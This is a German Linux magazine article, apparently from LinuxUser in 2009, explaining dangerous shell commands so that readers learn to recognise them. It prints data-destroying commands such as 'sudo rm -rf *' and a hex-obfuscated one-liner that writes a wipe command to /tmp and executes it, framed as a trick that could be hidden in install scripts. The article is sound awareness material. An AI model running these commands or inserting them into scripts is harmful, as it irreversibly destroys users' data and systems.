Home / LinuxUser / 2009 / 02 / Demontage

Newsletter abonnieren

Lies uns auf...

Folge LinuxCommunity auf Twitter

Top-Beiträge

Polnisches Rotkäppchen
(195 Punkte bei 6 Stimmen)
Debian 7.1 ist erschienen
(179 Punkte bei 5 Stimmen)

Heftarchiv

LinuxUser Heftarchiv

EasyLinux Heftarchiv

Ubuntu User Heftarchiv

Ubuntu User Heftarchiv

Partner-Links:

Das B2B Portal www.Linx.de informiert über Produkte und Dienstleistungen.

AA_demolition_sxc_1085143.jpg

© sxc.hu

Demontage

Gefährliche Kommandos erkennen und vermeiden

22.01.2009 Unter Windows laufen Sie stets Gefahr, mit unachtsamen Mausklicks das gesamte System irreparabel zu zerstören. Aber auch das freie Betriebssystem befördern Sie ruck, zuck ins Jenseits – wie, das zeigt der gefährlichste Artikel in der Geschichte des LinuxUser.

Mit dem Veröffentlichen der sieben angeblich tödlichsten Linux-Kommandos schlug der Informatikstudent Jun Auza vergangenen November einige Wellen im Internet [1]. Schnell sammelten sich in zahlreichen Diskussionen etliche weitere Killerbefehle. Trennen Sie jedoch die Spreu vom Weizen, bleibt lediglich eine Hand voll Kommandos übrig, die Sie zudem mit den richtigen Maßnahmen gekonnt entschärfen.

Auch wenn es reizt, sollten Sie die im Folgenden genannten Kommandos niemals auf einem Produktivsystem ausprobieren. Wie schon in Jun Auzas Blog dienen sie hier lediglich als Beispiel – denn nur wer um die Gefahren weiß, schafft es auch, sich gegen sie zu schützen. Möchten Sie doch eines der Kommandos testen, verwenden Sie unbedingt eine abgeschlossene, virtuelle Maschine mit einem nicht mehr benötigten Linux-System als Testobjekt.

Lösch mich

Zu den Klassikern der zerstörerischen Kommandos gehört der Befehl rm. Vielleicht haben Sie ihn schon öfter recht unbedarft verwendet, um eine Datei von der Festplatte zu putzen. Über den zusätzlichen Parameter -r löscht er allerdings auch Verzeichnisse mitsamt deren Inhalten. Warum also nicht einfach mal ins Wurzelverzeichnis wechseln (cd /) und dort alle Ordner tilgen:

$ sudo rm -rf *

Dieser Befehl wischt das gesamte System von der Platte. Das zusätzliche f sorgt dafür, dass alle lästigen Nachfragen entfallen. Im Internet findet man häufig auch die Alternative:

$ sudo rm -rf /

Diese fangen aktuelle Rm-Versionen jedoch standardmäßig ab. Daher birgt die erst genannte Variante mehr Gefahrenpotential, weil Sie sie bei Wartungsarbeiten schon mal gerne in Unterverzeichnissen absetzt. Wechseln Sie dann doch ins Wurzelverzeichnis, wandert das eigene System flugs ins Nirvana (Abbildung 1).

Abbildung 1: Das bleibt von Ubuntu 8.10 im Hauptspeicher übrig, nachdem rm -rf * im Hintergrund seine Arbeit verrichtet hat.

Hübsch verpackt

Wie das jeweils vorangestellte sudo schon dezent andeutet, benötigen Sie für die Löschaktionen glücklicherweise Administratorrechte – wie übrigens auch bei den meisten anderen der folgenden Befehle. Wer deshalb jetzt denkt, er wäre als normaler Benutzer weitgehend sicher, der hat die Rechnung ohne den Wirt und vor allem ohne die kleine, aber manchmal gemeine Bash gemacht. Dieses Programm stellt bei fast allen Linux-Distributionen die Kommandozeile bereit. Neben ein paar Zusatzfunktionen bietet sie auch die bequeme Verkettung von Befehlen. Damit basteln Sie auf die Schnelle folgendes:

$ sudo echo $'\x63\x64\x20\x2f\x3b\x20\x73\x75\x64\x6f\x20\x72\x6d\x20\x2d\x72\x66\x20\x2a' > /tmp/hrzdg; chmod 755 /tmp/hrzdg; /tmp/hrzdg;

Die kryptische Zeichenkette repräsentiert lediglich sudo /;rm -rf * in einer anderen Schreibweise. Versteckt eine böswillige Person sie beispielsweise in einem Installationsskript, und gestehen Sie diesem wiederum in aufgeregter Vorfreude Root-Rechte zu, nimmt das Unheil seinen Lauf. Gemeinerweise schaffen es noch nicht einmal Linux-Profis, den Klartext der obigen Zeile auf Anhieb zu entziffern.

Das gelingt erst recht nicht, wenn der Gauner die Zeile noch weiter ausschmückt – die Bash und viele andere Programmiersprachen halten dafür noch viel hübschere Methoden parat. Beim hier gezeigten Befehl übersetzt die Bash zunächst die Batterie aus Hexadezimalzahlen in den Befehl, den sie anschließend in der Datei /tmp/hrzdg speichert. Diese versieht das Kommando mit den Rechten zum Ausführen (chmod 755) und ruft die Datei direkt auf.

Einem Freund empfehlen    Druckansicht Bookmark and Share
Kommentare

1312 Hits
Wertung: 69 Punkte (1 Stimme)

Schlecht Gut

Infos zum Autor

Tim Schürmann

Tim Schürmann

Tim Schürmann ist Diplom-Informatiker und derzeit als freier Autor unterwegs. Mehr Informationen finden Sie auf seiner Homepage unter http://www.tim-schuermann.de.


Infos zur Publikation

Infos zur Publikation

LinuxUser 07/13

Aktuelle Ausgabe kaufen:

Heft bestellen Heft als PDF kaufen

LinuxUser erscheint monatlich und kostet in der Nomedia-Ausgabe EUR 5,95 und mit DVD EUR 8,50. Weitere Informationen zum Heft finden Sie auf der LinuxUser-Homepage.

Im LinuxUser-Probeabo erhalten Sie drei Ausgaben für 3 Euro. Das Jahresabo (ab EUR 60,60) können Sie im Medialinx-Shop bestellen.

Tipp der Woche

whowatch
Nutzer und Prozesse mit whowatch überwachen
Tim Schürmann, 18.06.2013 12:49, 0 Kommentare

Wenn Administratoren herausfinden wollen oder müssen, was die Benutzer auf einem System gerade so treiben, dann hilft ihnen whowatch. Das kleine Kommandozeilenprogramm zeigt in Ec...

Aktuelle Fragen

SUSE 12.3 64Bit: Miro funzt nicht
Wimpy *, 14.06.2013 13:05, 4 Antworten
Seit Installation von openSUSE 12.3 64Bit startet Miro nicht. (Version 5.0.4-1.24-x86_64 von Pa...
Kontakt via QR code hinzufügen
Herman Sproesser, 17.05.2013 17:46, 4 Antworten
Hi hab in der aktuellen ausgabe 06.2013 den artikel über QR Codes gelesen. Ich hab nartürlich...
Dateimanager Dolphin, wo legt er die Datei Kommentare ab?
Uwe Heine, 16.05.2013 15:19, 1 Antworten
Suse Linux 12.1 - KDE 4.7.2 / Dolphin 1.7. Ich habe bei vielen Dateien über Dolphin Kommentare...
wie baut man Kernel Module so, dass sie mit jedem Kernel laden?
GoaSkin , 22.04.2013 10:22, 1 Antworten
Hallo, baut man anhand eines Kernel-Sources Module, nutzt Linux im Normalfall eine strikte V...
Problem beim Installieren von SuSe 12.3
Georg Prokert, 14.04.2013 00:04, 16 Antworten
Hallo, auf meinem neuem Laptop (Acer Aspire V3-771, Intel Core i5-3230 M, Intel HD Graphics 4...